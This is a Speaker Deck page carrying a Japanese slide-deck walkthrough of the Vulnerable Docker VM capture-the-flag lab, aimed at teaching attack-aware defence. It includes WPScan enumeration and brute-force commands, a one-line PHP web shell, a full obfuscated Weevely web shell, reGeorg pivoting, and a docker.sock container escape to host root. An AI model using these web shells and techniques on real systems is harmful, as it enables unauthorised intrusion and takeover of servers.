Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
VulnerableDockerVM Writeup
Search
narupi
September 27, 2019
Technology
0
190
VulnerableDockerVM Writeup
WHESON_LTで使用した資料
narupi
September 27, 2019
Tweet
Share
More Decks by narupi
See All by narupi
Dockerコンテナからホストのrootを取る話
narupi
9
2.5k
Other Decks in Technology
See All in Technology
成果を出しながら成長する、アウトプット駆動のキャッチアップ術 / Output-driven catch-up techniques to grow while producing results
aiandrox
0
260
alecthomas/kong はいいぞ / kamakura.go#7
fujiwara3
1
300
KnowledgeBaseDocuments APIでベクトルインデックス管理を自動化する
iidaxs
1
260
PHP ユーザのための OpenTelemetry 入門 / phpcon2024-opentelemetry
shin1x1
1
170
AWS re:Invent 2024 ふりかえり
kongmingstrap
0
130
LINEヤフーのフロントエンド組織・体制の紹介【24年12月】
lycorp_recruit_jp
0
530
MLOps の現場から
asei
6
640
【re:Invent 2024 アプデ】 Prompt Routing の紹介
champ
0
140
スタートアップで取り組んでいるAzureとMicrosoft 365のセキュリティ対策/How to Improve Azure and Microsoft 365 Security at Startup
yuj1osm
0
210
10個のフィルタをAXI4-Streamでつなげてみた
marsee101
0
160
Turing × atmaCup #18 - 1st Place Solution
hakubishin3
0
470
20241220_S3 tablesの使い方を検証してみた
handy
3
370
Featured
See All Featured
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
5
440
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.3k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
32
2.7k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
226
22k
How to Ace a Technical Interview
jacobian
276
23k
Designing for humans not robots
tammielis
250
25k
Faster Mobile Websites
deanohume
305
30k
Being A Developer After 40
akosma
87
590k
Stop Working from a Prison Cell
hatefulcrawdad
267
20k
Navigating Team Friction
lara
183
15k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Transcript
Vulnerable Docker VMで学ぶ 脆弱なコンテナ 2019/09/27 narupi(@ei1528)
2 ※注意事項 • 得た知識/技術の悪用厳禁 • 検証は自己責任 • 管理下以外のサーバ/アプリケーションに対して攻撃を行わない • 初心者なので内容に間違いがある場合がある
3 目的 • 攻撃側を知ることで防御力を高める術を知る • セキュリティにおいて攻撃側が如何に有利かを知る • セキュリティに興味関心を持つ
4 動機 • 最近Dockerにムカついたので破壊したくなった
5 Vulnerable Docker VMについて • NotSoSecureが提供しているVM • ( https://www.notsosecure.com/vulnerable-docker-vm/ )
• CTF形式
6 環境構築 • VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の 為ホストオンリーネットワークに変更する • Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する 今回のIP Kali :
192.168.56.100 Docker : 192.168.56.102
7 起動
8 対象調査 • ポートスキャン(nmap)を実施して対象の環境を把握する • (-sV:各ポートを利用しているサービスのバージョンを検出 • -A :OSとバージョンを検出)
9 対象調査 • 8000番ポートでApache2.4.10が動いている • (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ かる)
10 入り口を探す • サービス自体の脆弱性を突く • (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
脆弱性 etc…) • サービスの設定不備を突く • (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの 可能性 etc...)
11 サービスの脆弱性を調査 • Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ ージョンが動いていると考えられる(しっかりパッチを当てている環境だ とすると、0day exploit以外刺さらない) •
VMの意図と異なるのでこっちは利用しない
12 設定不備を調査 • 脆弱性スキャンツールを利用 • (OWASP ZAP, Burp Suite, Nikto,
WPScan) • 対象がWordPressなのでWPScanを試す
13 WPScanについて • Rubyで動作するWordPressの脆弱性スキャナ • WordPressにインストールされているテーマやプラグインの列挙 • (脆弱性のあるものだけを列挙したりできる) • ユーザ情報の列挙
• ユーザ名を指定してブルートフォース攻撃
14 WPScanの実施 • プラグイン/テーマの脆弱性については、VM公開時の状況がわからない ので切り捨てた(本来なら侵入経路に成り得る) • ユーザ情報を列挙してみる • wpscan --url
http://192.168.56.102:8000 --disable-tls-checks -- enumerate u
15 パスワードを総当りしてみる • ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻 撃を試す • (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用) • wpscan --url
http://192.168.56.102:8000/ -P 100k-most-used-passwords- NCSC.txt -U bob
16 パスワードを総当りしてみる 少し待つとパスワードが特定できる
17 WebShellを設置する方法 • WordPressのテーマを利用して設置 ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど) • WordPressにプラグインとして設置 ->オフラインならプラグインのアップロード オンラインならプラグインのインストール
18 WebShellとは • Webを介して実行するShell • 最も簡単なものはGETリクエストでコマンドを送信する形 → <?php system($_GET["cmd"]);?> •
高機能なものもある(今回はWeevelyを利用した) → Weevely https://github.com/epinna/weevely3
19 Weevelyについて • 難読化したPHPWebShellを生成するためセキュリティソフトに検知さ れにくい • Telnetのような形式の接続を提供してくれる
20 Weevelyが生成したWebShell <?php$Y=str_replace('Mk','','MkcMkreMkate_fMkuncMkMktion');$x='$k="bjfdd87j fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf))); $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i<jf$l;jf){fojfjfr(';$i='$j=0 ;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf',' ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>
21 コンテナに侵入 • .dockerenvが存在するかでコンテナ内であるかチェックする
22 コンテナ内でできること • curlやwgetが使える場合 -> 任意のバイナリが実行できる(nmapなど) • コンテナ間通信が許可されている場合 -> 他のコンテナの発見と侵入
• サービスの破壊,データの取得
23 DBの確認(Adminer設置) • PHPMyAdminのようなdb管理ツール(https://www.adminer.org/) • シングルファイルで動作するのでWordPressのテーマを編集することで 設置可能 • db認証情報はwp-configから抜き取れる
24 Adminer
25 他のコンテナを探す • nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード する • Ip rでroute情報を表示 • Nmapで同一ネットワークを調査する
-> 172.18.0.1~4が利用されている -> 8022に不明なサービス (8000はWordPress)
26 コンテナ内部ネットワークへアクセスする • 任意のPHPがアップロードできる状況にあるのでreGeorgを利用して SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg) • ProxychainsでreGeorgプロキシの情報を設定する • FoxyProxyでreGeorgプロキシの情報を設定する
27 Docker-SSH • 8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ とがわかる(https://github.com/jeroenpeeters/docker-ssh) • FoxyProxyを介してブラウザからアクセスする
28 ホストへ侵入する方法を探す • Docker-SSHコンテナへはパスワードなしでsshできるらしいので Proxychainsを利用してshellから作業をする(webだとセッションが切れ て大変だった) • /run以下を見るとdocker.sockが見えている -> docker.sockはデーモンプロセスと通信するためのソケット
-> docker.sockは特権で実行される(実質的にroot)
29 Docker in Docker(DinD)について • DinD対応イメージを利用してコンテナを作る • デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ プションを利用する必要がある(すべてのデバイスへのアクセスが可能に なる)
• 暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す る • ホストとコンテナが階層化されるのでお互いに見えない
30 Docker outside of Docker(DooD)について • ホストのDocker.sockをマウントすることでDockerデーモンを共有する • ホスト側のDockerをコンテナ側から実行する •
コンテナからホスト側が見える • DinDのようにゴミが溜まることはない
31 コンテナからホストのrootを取る • ホストのdocker.sockをマウントしている場合、dockerコマンドはホス ト側で実行したものと同じ結果が得られる →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ を立ち上げる(DooD) →適当な名前でルートディレクトリをマウントしてchrootでルートディ レクトリをマウントしたフォルダに変える →実質的なホストrootの奪取
32 HACKED
33 VMの脆弱な点をまとめると • WordPressのセキュリティ(コンテナへの侵入) ->wp-adminが見える, 脆弱なパスワードの運用 • Docker-SSHの運用方法(ホストへの侵入) ->docker.sockへの書き込み権限がある
34 まとめ • WordPressには気をつけよう • Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで きる • Docker imageはしっかり中身を理解して利用する
->Docker-SSHはdocker.sockをマウントする必要がある ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)
35 参考文献 • https://oioki.me/2017/09/vulnerable-docker-vm/ • https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure- com • https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/ •
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html • https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407 • https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/ • https://qiita.com/toto1310/items/64d7db407d31fd802f9c